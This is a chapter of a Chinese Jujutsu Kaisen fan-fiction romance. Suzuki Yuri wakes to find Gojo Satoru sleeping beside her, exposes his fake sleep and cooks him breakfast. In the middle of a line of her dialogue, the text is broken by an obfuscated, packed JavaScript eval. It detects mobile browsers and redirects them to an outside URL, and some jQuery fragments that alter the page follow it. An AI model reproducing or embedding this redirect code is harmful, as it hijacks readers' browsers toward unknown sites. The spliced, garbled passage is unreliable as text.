17.第 17 章

作品:《不要小看娇妻啊![咒回]

    搬家第一天晚上,铃木友理做了个恶梦。


    和所有莫名奇妙的恶梦一样,她梦见东京的家里出现只巨型熊猫,此猫睡她床,吃她饭,还要把毛茸茸的胖熊腰塞进她最喜欢的毛衣里,导致毛衣君当场惨死于熊掌之下。


    此仇不报,枉为衣主。


    铃木友理和恶熊在学校走廊展开殊死搏斗,打到最后,熊猫居然使出了龟派气功,铃木友理惜败一招,一番激烈追逐后,铃木友理被熊抓到,压在了身下。


    熊在她的梦里睡着了,压着铃木友理打小呼噜,铃木友理也逃不掉,熊硬邦邦的爪子拢在她背后,勒的她难受了一晚上。


    感谢从小养成的生物钟,凌晨六点,铃木友理从恶梦中惊醒。


    梦中的惊险和刺激逐渐被大脑忘却,咒术高专带着青草和面包味的空气涌入鼻中,铃木友理沉睡的感观逐渐苏醒。


    最先启动的视觉,眼前一片黑暗,铃木友理什么都看不见。


    她想,高专的窗帘质量不错。


    然后是味觉,习惯青草和面包香氛味后,五条家特供衣物熏香的味道缓缓浮现。


    是并不快乐的童年的味道。


    触感最后启动,她感觉有什么沉重的东西横在自己腰上,压得她喘不过气。


    这是什么?


    大脑还未彻底清醒,带着几分睡眠被打扰的怨气,铃木友理狠狠从被子里抽出胳膊探到腰部,摸到条人类手臂。


    她懵懂的沿着手臂向上摸,这胳膊长的诡异,一直延伸到她头顶位置才结束,继续往下摸,铃木友理摸到个毛茸茸的球体。


    所有线索连到一起,脑海中闪出嗡嗡的火花声,铃木友理猛然清醒。


    艹,这是五条悟。


    五条悟正躺在她床上,她正被五条悟困在怀里,狭小的睡眠空间正是导致铃木友理一夜恶梦的罪魁祸首。


    我是谁,我在哪,五条悟为什么会出现在这里?


    五条悟头顶的发丝缠绕在手间,轻轻抚摸着五条悟的脑袋,铃木友陷入沉思。


    首先,她知道这间卧室属于五条悟。


    五条悟居住过的痕迹就像蟑螂,悄无声息出现在房间的各个角落,时不时嚣张的冒出一对马尾,挑衅铃木友理脆弱的神经。


    不过铃木友理没把这事放心上,甚至还有几分窃喜。


    五条悟是谁,咒术界最强的大爹,他住的房间,一定是咒术高专最好的房间。


    这间房不好,就说明其他房间环境更恶劣。


    睡过东京的大别墅,铃木友理已然飘了,她看不上咒术界的劣质木板房,为了保证自己的接下来两年的生活质量,她觉得自己有义务鸠占鹊巢,抢夺五条悟的房间。


    反正给她指明房间的人是七海和灰原,搬行李的是夜蛾正道,房间又钥匙,铃木友理推门就进来了。


    她是无辜的受害者,这一切都不是她的错。


    怎样达成抢房间的目标,铃木友理已经算计好了。


    等五条悟回高专,她就先卖惨说自己是个弱鸡,收拾房间太累了会让她生病,再做点小点心讨好五条悟,许诺帮五条悟收拾新房间、买新家具,最后顺理成章鸠占鹊巢赶走五条悟....


    大多数时候,五条悟都表现的相当随和,对生活环境和质量都没要要求,铃木友理有信心糊弄住他。


    失算了。


    五条悟过于随和,随和到乱爬床,躺下就睡,身边多个人都不在意。


    铃木友理手无意识揉着五条悟看似细软实则扎手的白毛,脸颊肉顶着五条悟的胸肌,失神的想,怪不得我会梦见熊猫。


    都是黑白配色,都戴墨镜,都一样看似无害其实杀伤力极强,身份地位也相似,五条悟怎么不算咒术界的大熊猫。


    不对。


    铃木友理想到什么,手僵在原地。


    我不是锁门了吗,五条悟怎么进来的?


    也就是说,他回到高专,发现门上着锁,一声不吭从窗户爬进房间,全程没产生任何能吵醒我的噪音,看见我躺在床上,也没有选择叫醒我,而是抱着我一起睡。


    故意的,绝对是故意的。


    铃木友理应该给五条悟这小流氓一巴掌,但听着他平缓的呼吸,又想想五条悟的阴间睡眠,铃木友理忍了。


    她小心翼翼的收回两条胳膊,重新把自己镶回五条悟怀里。


    反正五条悟也不会跑,让他先睡一会儿,等他睡醒了,再找他算账。


    五条悟似乎仍处于熟睡状态,他下巴顶在铃木友理头顶,呼出的气吹到铃木友理头顶,痒痒的。


    两人的姿势异常亲密,铃木友理却一刻也没有想到那些暧昧的事,脑海里莫名冒出对五条悟脑袋长度的猜测。


    她好奇这个问题很久了。


    已知五条悟192cm,铃木友理172.45cm,五条悟的下巴抵着她的头顶,两人脚尖相抵,那五条悟脑袋的长度大概是...20cm,九头身。


    不公平,他都这么高了,凭什么脑袋还这么小。


    铃木友理阴暗的想,五条悟脑袋比别人小一圈,肯定也比别人笨一圈。


    没有?他很聪明?可恶,怎么什么好事都被他占了。


    他甚至还拥有我这么贤良淑慧的未婚妻,就算被半夜偷袭,也温柔的没有当场发飙,给他踹到床底下,而是安静的等待他睡醒。


    真是岂有此理。


    铃木友理越想越生气,闷在五条悟怀里暗自憋气。


    即使生气,她也不敢乱动,生怕吵醒五条悟,影响到五条悟不多的睡眠时间。


    铃木友理告诉自己,她不是在心疼五条悟,心疼五条悟这个最强是对她自己的背叛,她之所以不打扰五条悟的睡眠,不想让五条悟死,是出于利益考量。


    她从经济学的角度细细思考:经济泡沫后,本子经济进入下行,年轻人就业压力大,自杀率年年升高,咒灵出现频率猛增,咒灵多了,五条悟就能接很多任务,任务多了,他就会挣很多遗产。


    五条家的资产会传给下一任家主,只有五条悟自己工作挣来的工资,才是她这个未婚妻可继承的遗产,五条悟工作的年份越多,她获得的遗产越多。


    为了世界和平,为了可爱的老婆,在五条悟变成秃头老大叔以前,他最好别死。


    我不是关心他,也不是给自己洗脑,我这是立于大局,心怀天下,为全人类谋福利,包括我自己。


    没错,就是这样!


    .......


    用六眼看没有咒力的物体,只能通过咒力残渣和咒力流动来确认。


    作为纯粹的天与咒缚,铃木友理不会产生咒力,在身上没有自身咒力的情况下,其他人的咒力残渣就会格外显眼。


    一个晚上过去,现在她身上满是五条悟的咒力。


    五条悟的生物钟摆在那里,他昨天晚上又睡得早,在铃木友理睡醒之前,他已经醒了有一会儿了。


    铃木友理醒之前,他正搂着铃木友理的细腰,脸上带着愉悦的笑容,满意端详自己一晚上的工作成果。


    铃木友理醒之后,他就闭上眼装睡。


    他觉得铃木友理看见自己迷人的睡颜,一定会忍不住对他做些脸红心跳的坏事,比如偷亲,又比如暧昧的摸眼睫毛。


    漫画里就是这么画的。


    很多甜品店都会免费提供漫画借阅,为了迎合女性客户,提供的漫画以少女漫为主,去的多了,五条悟也多少看过几本。


    铃木友理摸上他手臂的时候,他想,铃木友理看上去文文静静的,居然还是肉食系。


    作为咒术界身材最好的男人之三,五条悟对自己身材有自信。


    他的身材很曼妙,不怕人摸。


    然后铃木友理就用摸狗似的粗糙手法打破了五条悟的浪漫幻想。


    怎会如此!


    脸红呢?心跳呢?你这生气的呼吸声是什么意思?


    盯着铃木友理研究了两个小时,五条悟已经忘了自己是怎么偷偷摸摸上的床,理所当然的反客为主。


    他出现在自己房间,自己未婚妻的床上,这是多么合理又正常的一件事!


    五条悟决定,他要装睡,睡到铃木友理想起来自己该做什么。


    一个早安吻!像少女漫里那样的早安吻!


    在此之前,谁都别想让他松手。


    五条悟装的很好,气息保持在合理的频率,一动也不动。


    但他为了展示自己曼妙的身材,暗自绷紧了肌肉。


    铃木友理在古板的咒术师家庭长大,接着就去了女校上学,身边的女性朋友们也都是弱鸡,五条悟以为她不会发现自己在偷偷用力。


    他低估了女生们聊天的尺度。


    铃木友理不常跟人聊天,但她爱水群,每天在学校群里阴暗的围观,掌握了一堆没用的知识。


    靠在五条悟硬邦邦的胸肌上,铃木友理后知后觉意识到不对。


    五条悟,101%在装睡。


    他从六七岁就开始练拳脚,对其他人的身体接触比普通人更敏感,怎么可能自己一阵乱摸还不醒?


    基于对五条悟的了解,铃木友理猜测五条悟又在搞什么恶作剧。


    面对熊孩子的恶作剧,最好的处理方式是冷处理。


    既然自己起床不会干扰五条悟的睡眠,也不打算配合五条悟的恶作剧,铃木友蛄踊着往上爬,决定靠自己的力量爬出牢笼。


    五条悟发现铃木友理在移动位置,心中激动万分。


    要来了吗,脸红心跳的偷亲?


    我就知道铃木友理她对我心怀不轨!


    他迫切想看到铃木友理偷亲自己时害羞的表情。


    于是铃木友理顾涌到一半,一个扭头,猝不及防和一双明亮的大眼睛对上视线。


    只见看到五条悟瞪着个大眼,兴奋的看着自己。


    铃木友理:你真的很恐怖,你知道吗?


    装睡的事情败露,五条悟干脆托着铃木友理的腰,抱着她坐了起来。


    五条悟强大的臂力让铃木友理酝酿的怨气消了大半。


    她看着五条悟比自己小腿还粗的胳膊,心想自己给五条悟一巴掌而全身而退安全活下去的概率有多大。


    这不全看五条悟心情。


    识时务者为俊杰,铃木友理告诉自己,五条悟长得这么帅,还是尊贵的咒术界大熊猫,和他抱着睡一晚上,是自己赚了。


    她们还是未婚夫妻,早晚要抱在一起,就是提前了一点,突然了一点,这都不算什么。


    只要五条悟记得戴套,不要搞出人命,以五条悟的身材,怎么样她都不吃亏。


    一通自我pua终于调理好心态,铃木友理挤出专业应酬笑容,对五条悟挥了挥手:“早上好


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197574|196509||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    五条悟露出八颗牙齿:“早上好!”


    铃木友理的态度过于自然,没有铃木友理的提醒,五条悟依旧没想起自己夜袭的事。


    他满脑子少女漫早安吻,又有点不好意思,于是嘟着嘴试图暗示铃木友理。


    快亲!


    铃木友理看不懂,她只觉得五条悟莫名奇妙。


    进入高专之后,五条悟就变得越来越抽象,最近连搞恶作剧都开始往抽象方向发展,愈发让人琢磨不透。


    男人心,海底针,五条悟的世界她不懂。


    看着五条悟期待的目光,铃木友理知道自己必须做什么,但她又实在猜不到五条悟想让他做什么。


    把昨天到现在发生的事都在脑海里过了一轮,铃木友理灵光一闪,试探道:“哇,你为什么会出现在我的房间?还睡在我的床上?这是你的恶作剧吗?过分!”


    五条悟:“......”


    他心虚的移开目光。


    就算再自我,他也知道自己的夜袭属于浸猪笼行为,铃木友理没给他一巴掌,算铃木友理心情好。


    不过铃木友理一睁眼发现被他抱在怀里也没生气,就叹了几口气,甚至轻手轻脚舍不得吵醒他,要说对他意思,谁信!


    想通最关键的问题,五条悟回归理智气壮:


    “我不知道,昨天晚上十二点我才做完任务,一回高专就跑来睡觉,因为太困了,为了早点睡觉,我连门都等不及开,爬窗户进来,躺上床就睡着了,抱着你是把你当成了抱枕,刚刚才发现你也在我床上,这是怎么回事?我明白了,一定是七海和灰原弄错了房间号,把你送错到我的房间里了,真过分,回头揍他们两顿解解气。”


    狡辩完自己出现在铃木友理床上的原因,他又立马转移话题,避免铃木友理深思,发现破绽。


    “友理酱你知道白马岳山吗?海拔三千多米的那座雪山,我从前天晚上就接到任务,跑到白马岳山上抓咒灵,只穿着校服,也没带干粮,山顶在下雪,山里也没有点心店,又累又饿,抓完咒灵又要满山遍野找幸存者,结果在半山腰上发现了他....我好饿,好想吃友理酱做的黄油土豆。”


    五条悟睡前摘下了墨镜,露着闪烁的蓝眼睛,顶着这张脸卖惨,没有人能不心软。


    铃木友理没心软,她自己长得也不差,又经常看见五条悟这张脸,早就免疫。


    但她有其他考量。


    铃木友理想,算了,五条悟可是被五条家宠坏的大少爷,愿意说这么一大段话跟我解释,解释完又说了这么一大段话卖惨,已经相当有诚意。


    更何况,冒着失去五条悟工资卡的风险和他吵架,不划算。


    “原来是误会啊,没关系,都是小事,阿娜达。”铃木友理笑着搭上五条悟放在她腰间的胳膊,“快放开我,我去准备早饭,房间的事,稍后再讨论。”


    没有早安吻?


    五条悟有点失望,垂头丧气的松开铃木友理,倒回床上。


    他生气了,今天不想做任务了,要请假一天。


    高专的房间的公寓结构,自带小厨房,学生不想吃食堂的时候,可以在房间自己做饭。


    铃木友理搬的匆忙,还没来得及采购食材,但她昨天收拾行李的时候,发现厨房冰箱里有存放的部分食材。


    在没有百分百确定这个房间是五条悟的之前,铃木友理还怀疑这些食材是不是高专为学生特意准备的,今天早上在床上看见五条悟,她心中的某些猜测被验证了。


    五条悟,在没人照顾的情况下,居然会自己做饭。


    这还是她认识的那个大少爷吗?


    铃木友理不敢相信。


    作为人类,五条悟已经活的够痛快,他原本就只有少爷病这个说不上缺点的小缺点,现在上完两年高专,这个缺点居然自己消失了。


    太不公平了!


    铃木友理一边切土豆,一边再度陷入生闷气状态。


    在铃木友理心里,五条悟最大的毛病就是不识人间疾苦,至于高专众人默认的性格问题,她反倒觉得没必要提及。


    和其他咒术师家庭的大少爷相比,尤其是和隔壁禅院家的某黄毛比,五条悟的性格堪称纯良。


    老实说,和咒术界那群大少爷对比,这个世界到处都是纯良的人。


    铃木友理在女校人员很好,不管什么性格的人,她都能包容对方,秘诀就是善于对比。


    离开咒术界那群大少爷,铃木友理的世界充满爱与和平。


    铃木友理手上动作不停,不到半个小时,就把五条悟点名要的黄油土豆做了出来。


    除此之外,她还用自带的蔬菜粉给五条悟拌了包酸奶。


    冰箱里看不见一点绿色,就算五条悟的身体更需要高热量的食物,铃木友理还是忍不住想给他喂点绿色。


    投喂五条悟这么多年,她的感情早已变质,只要站上厨房,铃木友理看五条悟就像看家里精心饲养的宠物猫。


    这只是猫吗?这还是铃木友理喂养五年的名贵品种,是她苦心钻研营养学的完美作品啊!


    铃木友理对五条悟有很多复杂的感情,感激,崇拜,嫉妒...


    无人的时候,她也会默默梳理这些乱成一团的感情毛线团。


    唯有一点,铃木友理从不去深思。


    她不能喜欢五条悟。